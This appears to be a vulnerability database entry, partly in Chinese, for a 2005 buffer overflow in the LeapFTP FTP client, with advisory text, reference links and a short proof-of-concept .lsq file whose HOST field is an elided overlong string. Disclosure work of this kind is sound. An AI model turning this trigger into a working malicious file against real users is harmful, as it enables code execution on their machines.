https://www.exploit-db.com/exploits/26194
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200509-030

LeapFTP是简易好用的FTP客户端软件。LeapFTP存在缓冲区溢出漏洞。该漏洞允许远程攻击者可以借助于SiteQueue(.lsq)文件中的长主机字符串执行任意的代码。

source: http://www.securityfocus.com/bid/14655/info

LeapFTP client is prone to a remote buffer overflow vulnerability.

The issue arises when the client handles a malformed LeapFTP Site Queue (.lsq) file.

A remote attacker may gain unauthorized access in the context of the user running the application.

LeapFTP versions prior to 2.7.6.612 are affected by this vulnerability.

//bof.lsq

[HOSTINFO]
HOST=AAAAA...[ long string ]...AAAAA
USER=username
PASS=password

[FILES]
"1","/winis/ApiList.zip","477,839","E:ApiList.zip"

来源:XF
名称:leapftp-site-queue-bo(21974)
链接:http://xforce.iss.net/xforce/xfdb/21974
来源:BID
名称:14655
链接:http://www.securityfocus.com/bid/14655
来源:www.leapware.com
链接:http://www.leapware.com/security/2005082301.txt
来源:MISC
链接:http://secway.org/advisory/AD20050824.txt
来源:SECUNIA
名称:16552
链接:http://secunia.com/advisories/16552/
来源:BUGTRAQ
名称:20050824LeapFTP.lsqBufferOverflowVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112491089723070&w;=2
来源:SECTRACK
名称:1014785
链接:http://securitytracker.com/id?1014785